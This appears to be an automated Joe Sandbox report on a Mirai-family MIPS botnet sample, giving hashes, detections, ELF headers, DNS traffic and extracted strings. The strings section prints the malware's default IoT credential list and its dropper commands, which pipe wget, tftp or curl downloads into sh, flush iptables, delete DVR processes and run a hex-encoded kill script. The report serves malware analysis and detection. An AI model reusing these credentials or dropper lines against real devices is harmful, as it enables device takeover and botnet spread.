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Linux Analysis Report
la.bot.mips.elf

Overview

General Information

Sample name:la.bot.mips.elf
Analysis ID:1584024
MD5:25cf1f812000ea7c5ca6c34e68d9fcf9
SHA1:61aa3c768676325f10e74de073e4312c061e708c
SHA256:362422bff78c655f662e4194459730264ee5be5a5fc2f893a64dbaf3afd826f4
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1584024
Start date and time:2025-01-04 03:42:06 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 17s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.mips.elf
Detection:MAL
Classification:mal64.troj.linELF@0/0@2/0
Command:/tmp/la.bot.mips.elf
PID:5411
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.mips.elf (PID: 5411, Parent: 5337, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/la.bot.mips.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
la.bot.mips.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    5411.1.00007ff3e0400000.00007ff3e041f000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: la.bot.mips.elfAvira: detected
      Source: la.bot.mips.elfReversingLabs: Detection: 36%
      Source: la.bot.mips.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
      Source: la.bot.mips.elfString: /proc//cmdline/mapsselfrebootftpwgetmountunmount-shashtftpcurl/bin/login/exe|ash|login|wget|curl|tftp|ntpdate|ftp/proc/mounts (deleted)/proc/%s/statusPPid:/fdsocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
      Source: la.bot.mips.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
      Source: /tmp/la.bot.mips.elf (PID: 5411)Socket: 127.0.0.1:43478Jump to behavior
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: la.bot.mips.elfString found in binary or memory: http:///curl.sh
      Source: la.bot.mips.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: (191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.19
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- |
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal64.troj.linELF@0/0@2/0
      Source: /tmp/la.bot.mips.elf (PID: 5411)Queries kernel information via 'uname': Jump to behavior
      Source: la.bot.mips.elf, 5411.1.000055749b857000.000055749b8fe000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
      Source: la.bot.mips.elf, 5411.1.00007ffe05117000.00007ffe05138000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips/tmp/la.bot.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mips.elf
      Source: la.bot.mips.elf, 5411.1.00007ffe05117000.00007ffe05138000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
      Source: la.bot.mips.elf, 5411.1.000055749b857000.000055749b8fe000.rw-.sdmpBinary or memory string: tU!/etc/qemu-binfmt/mips
      Source: la.bot.mips.elf, 5411.1.00007ffe05117000.00007ffe05138000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: la.bot.mips.elf, type: SAMPLE
      Source: Yara matchFile source: 5411.1.00007ff3e0400000.00007ff3e041f000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: la.bot.mips.elf, type: SAMPLE
      Source: Yara matchFile source: 5411.1.00007ff3e0400000.00007ff3e041f000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Non-Application Layer Protocol
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      la.bot.mips.elf37%ReversingLabsLinux.Backdoor.Gafgyt
      la.bot.mips.elf100%AviraEXP/ELF.Agent.J.8
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.24
      truefalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.shla.bot.mips.elffalse
          high
          http:///curl.shla.bot.mips.elffalse
            high
            No contacted IP infos
            No context
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.comla.bot.arm7.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            jklarm.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            Josho.x86.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            185.232.205.45-boatnet.ppc-2025-01-03T23_59_48.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            185.232.205.45-boatnet.spc-2025-01-03T23_59_48.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            185.232.205.45-boatnet.arm6-2025-01-03T23_59_47.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            185.232.205.45-boatnet.x86-2025-01-03T23_59_45.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            185.232.205.45-boatnet.mips-2025-01-03T23_59_45.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            185.232.205.45-boatnet.arm7-2025-01-03T23_59_47.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
            Entropy (8bit):5.589703907519588
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:la.bot.mips.elf
            File size:128'984 bytes
            MD5:25cf1f812000ea7c5ca6c34e68d9fcf9
            SHA1:61aa3c768676325f10e74de073e4312c061e708c
            SHA256:362422bff78c655f662e4194459730264ee5be5a5fc2f893a64dbaf3afd826f4
            SHA512:ba08bea6b73d6d25e085c05aa733a46f9da6aa8465542993dc302ac460bae3fec65a07df75cc5657c2c5f66dddfaa45f9ba81a60abfe2b38d1b203ed0dc70f0f
            SSDEEP:3072:fLS5t8qfV7+agFc5PieMK75vyE26YT+M1vnYL:TC6sgki7T+pL
            TLSH:06C3C74E2E218F6EF369C63587B74A31939833C627D1D785D26CE6141E6038EB41FB98
            File Content Preview:.ELF.....................@.`...4.........4. ...(.............@...@.....p...p...............t.E.t.E.t......w.........dt.Q............................<...'.n....!'.......................<...'.n....!... ....'9... ......................<...'.n....!........'9.

            ELF header

            Class:ELF32
            Data:2's complement, big endian
            Version:1 (current)
            Machine:MIPS R3000
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x400260
            Flags:0x1007
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:128464
            Section Header Size:40
            Number of Section Headers:13
            Header String Table Index:12
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x4000940x940x8c0x00x6AX004
            .textPROGBITS0x4001200x1200x1ad400x00x6AX0016
            .finiPROGBITS0x41ae600x1ae600x5c0x00x6AX004
            .rodataPROGBITS0x41aec00x1aec00x32b00x00x2A0016
            .ctorsPROGBITS0x45e1740x1e1740x80x00x3WA004
            .dtorsPROGBITS0x45e17c0x1e17c0x80x00x3WA004
            .data.rel.roPROGBITS0x45e1880x1e1880x9080x00x3WA004
            .dataPROGBITS0x45ea900x1ea900x4f40x00x3WA0016
            .gotPROGBITS0x45ef900x1ef900x5e80x40x10000003WAp0016
            .sbssNOBITS0x45f5780x1f5780x1c0x00x10000003WAp004
            .bssNOBITS0x45f5a00x1f5780x63640x00x3WA0016
            .shstrtabSTRTAB0x00x1f5780x560x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x4000000x4000000x1e1700x1e1705.59010x5R E0x10000.init .text .fini .rodata
            LOAD0x1e1740x45e1740x45e1740x14040x77904.36830x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
            TimestampSource PortDest PortSource IPDest IP
            Jan 4, 2025 03:42:53.495193005 CET4695053192.168.2.138.8.8.8
            Jan 4, 2025 03:42:53.495234013 CET5756153192.168.2.138.8.8.8
            Jan 4, 2025 03:42:53.501602888 CET53575618.8.8.8192.168.2.13
            Jan 4, 2025 03:42:53.502058029 CET53469508.8.8.8192.168.2.13
            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 4, 2025 03:42:53.495193005 CET192.168.2.138.8.8.80x5a44Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 4, 2025 03:42:53.495234013 CET192.168.2.138.8.8.80x480aStandard query (0)daisy.ubuntu.com28IN (0x0001)false
            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 4, 2025 03:42:53.502058029 CET8.8.8.8192.168.2.130x5a44No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
            Jan 4, 2025 03:42:53.502058029 CET8.8.8.8192.168.2.130x5a44No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

            System Behavior

            Start time (UTC):02:42:50
            Start date (UTC):04/01/2025
            Path:/tmp/la.bot.mips.elf
            Arguments:/tmp/la.bot.mips.elf
            File size:5777432 bytes
            MD5 hash:0083f1f0e77be34ad27f849842bbb00c